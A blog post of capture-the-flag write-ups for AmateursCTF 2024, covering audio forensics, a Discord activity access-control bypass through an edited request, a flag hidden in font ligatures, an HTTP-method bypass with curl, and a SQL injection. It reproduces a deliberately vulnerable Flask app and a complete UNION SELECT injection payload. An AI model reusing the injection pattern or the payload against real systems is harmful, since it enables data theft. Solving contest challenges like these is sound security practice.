Post

my writeups for AmateursCTF 2024

prologue & review

hey y’all! im back with new writeups! :D

this time there are some for Amateurs CTF 2024.

I’d say pretty good, many teams participated to this ctf even though its their second event, this really goes to show the quality of the challenges. Unfortunately we didn’t really do too well here, as many of our teammates couldn’t participate because of midterm exams. But we still got in the top 7% (90th out of 1160 teams total).

anyways here are some writeups:

misc

Densely packed

challenge files: laughing.wav

densely-packed

writeup:

this was a audio forensics challenge.

at first i tried to plug it in a spectrogram analyzer, but nothing really stands out.

after a bit i tried to search on the internet about the hint mussmile

mussmile is a sound of the famous game undertale.

why it’s a hint? because this sound is made by distorting and slowing down a laughing sound.

so after researching a bit i used this online-based audacity editor here https://wavacity.com/ to slow the sound down by 90%. After that you can just hear it’s reversed.

So now we can reverse it and simply hear the flag being said by a AI voice.

done!

amateursCTF{inverse_transformations}

bears flagcord

bears-flagcord

this challenge was very fun and up to date imo. i loved it.

to solve it me and my teammate yyxxzn analyzed the link first of all.

https://discord.com/oauth2/authorize?client_id=1223421353907064913&permissions=0&scope=bot

if you try to use it and add to a server it will say that its a private bot or application and cant be added to your server.

So we tried to modify the scope and the permissions, without success by following the api docs of discord

https://discord.com/developers/docs/topics/oauth2

nothing really worked, so we tried to investigate what this id was all about.

we used a online tool called discordlookup

https://discordlookup.com/application/1223421353907064913

but we could have also used the public discord api.

user specs

we can see here that the id appears to represent a embedded application.

discord embedded applications are activities that you can start when you join a discord channel and click the rocket icon

https://discord.com/developers/docs/activities/building-an-activity

basically we had to find a way to open this activity thus bypassing the filter.

To do this, i intercepted discord request to find out how discord chooses what discord activity to start.

Unfortunately, i tried to modify the request without success for about 30 minutes before giving up, but i was really close because literally the request after the one i was trying to modify was the solution.

infact after the ctf i tried digging deeper and found this request here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET / HTTP/2
Host: 832012774040141894.discordsays.com
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: https://discord.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7

while opening the chess in the park activity on discord

to get the flag we can simply modify the request with the id of our target application

from

https://832012774040141894.discordsays.com/

to

https://1223421353907064913.discordsays.com/

flag

to get the flag we can now just write “flag” as the launch code, thus bypassing the filter and getting the flag!

what a cool challenge!

amateursCTF{p0v_ac3ss_c0ntr0l_bypass_afd6e94d}

web

agile rut

agile-rut

this challenge was conceptually very simple but as i’ve never worked with font files, it wasn’t immediate for me.

to solve this challenge we have to analyze the requests via burpsuite proxy

let’s first of all get the page source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>agile rut playground</title>
    <style>
        @font-face {
            font-family: 'Agile Rut';
            src: url('agile-rut.otf');
        }
        * {
            font-family: 'Agile Rut';
        }
        textarea {
            font-size: 24px;
        }
    </style>
</head>

<body>
    <h1>Agile Rut</h1>
    <p>Check out my new font!! isn't it so cool!</p>
    <textarea cols="100" rows="100"></textarea>
</body>

</html>

this is just a html page to try a font, but apparently our flag could be hidden in the otf file.

upon further investigation i found out that you can hide custom chars in the font file as glyphs

to solve it i first tried to use python fonttools

1
2
pip install fonttools
ttx agile-rut.otf

and dumped information about the font, but as it was a very long file i tried to use a web tool

unfortunately i don’t remember exactly the name but i think this should do too

https://fontdrop.info/#/?darkmode=true

if we go the custom ligatures you should see the flag in one of them.

You could also solve it with the ttx tool as i did before. At some point you will find this ligature here:

<Ligature components="m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright" glyph="lig.j.u.s.t.a.n.a.m.e.o.k.xxxxxxxxx.xxxx.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.xxx.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.x.x.x.x.x.xxxx.xxxxxxxxxx.xxxxx.xxxxx.xxxxx.xxxxxxxxxx"/>

that clearly resembles the flag.

i guess i am a bit blind lol :D

amateursctf{0k_but_1_dont_like_the_jbmon0_===}

denied

solved by makider https://makider.me/

denied

this challenge was very simple, to solve it we have to analyze the code though

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

as you can see if we make any get request to the website it returns Bad!

1
2
curl http://denied.amt.rs/
Bad!

to get the flag we can just send a request different from GET so we bypass the if condition. if (req.method == "GET") return res.send("Bad!");

now there are many verbs we can use: DELETE, PATCH, HEAD, OPTIONS, TRACE i’ll use my favourite one: HEAD

we can now use curl to send the request like this:

curl -X HEAD http://denied.amt.rs/ -v

  • note the -v argument it’s useful to get the raw request headers

now we can read the flag in the output in the Set-Cookie header

Set-Cookie: flag=amateursCTF%7Bs0_m%40ny_0ptions…%7D; Path=/

let’s URL decode it in cyberchef

https://gchq.github.io/CyberChef/#recipe=URL_Decode()&input=YW1hdGV1cnNDVEYlN0JzMF9tJTQwbnlfMHB0aW9uc%2BKApiU3RA&oenc=65001

and we have the flag!

amateursCTF{s0_m@ny_0ptions…}

one shot

my friend keeps asking me to play OneShot. i haven’t, but i made this cool challenge! http://one-shot.amt.rs

one-shot

to solve this challenge we first have to take a look at the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
    return """
    <h1>You have one shot.</h1>
    <form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
    """

@app.route("/new_session", methods=["POST"])
def new_session():
    id = os.urandom(8).hex()
    db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
    db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
    res = make_response(f"""
    <h2>Fragments scattered... Maybe a search will help?</h2>
    <form action="/search" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="query" value="">
        <input type="submit" value="Find">
    </form>
""")
    res.status = 201

    return res

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

@app.route("/guess", methods=["POST"])
def guess():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
    if result != None:
        return flag
    
    db.execute(f"DROP TABLE table_{id}")
    return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
    original = getattr(error, "original_exception", None)
    if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
        return "that table is gone. <a href='/'>Go back</a>"
    return "Internal server error"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

this code is vulnerable to sql injection here:

1
2
3
4
5
6
7
8
9
10
11
12
13
    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

because the request.from query isn’t properly sanitized

and we can inject sql code.

now we can’t simply insert % to solve this because

then the password is sent in this form here

` {““.join([f”<li>{row[0][0] + ‘*’ * (len(row[0]) - 1)}</li>” for row in query.fetchall()])}`

which censors the last chars of the flag, except the first one.

after a bit i have come up with this idea of injecting sql that reads the flag one char by one, so bypassing the one char filter.

to do it i have created some python code that gets the correct table name and builds the payload.

here’s the full payload:

1
%' UNION ALL SELECT substr(password,1,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,2,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,3,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,4,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,5,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,6,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,7,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,8,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,9,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,10,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,11,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,12,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,13,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,14,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,15,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,16,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,17,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,18,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,19,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,20,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,21,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,22,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,23,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,24,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,25,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,26,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,27,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,28,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,29,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,30,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,31,1) FROM table_5befc8ecc4866d2b UNION ALL SELECT substr(password,32,1) FROM table_5befc8ecc4866d2b-- -

as you can see by using substr() function we can get an arbitrary char in the password which we know is 32 chars long because of this line of code os.urandom(16).hex() which gets 16 random bytes and trasforms them to hexadecimal notation so now its 32 chars.

now, send the payload, copy the password, remove the extra new lines and send the guess!

amateursCTF{go_union_select_a_life}

prologue

that’s it! thank you for reading!

This post is licensed under CC BY 4.0 by the author.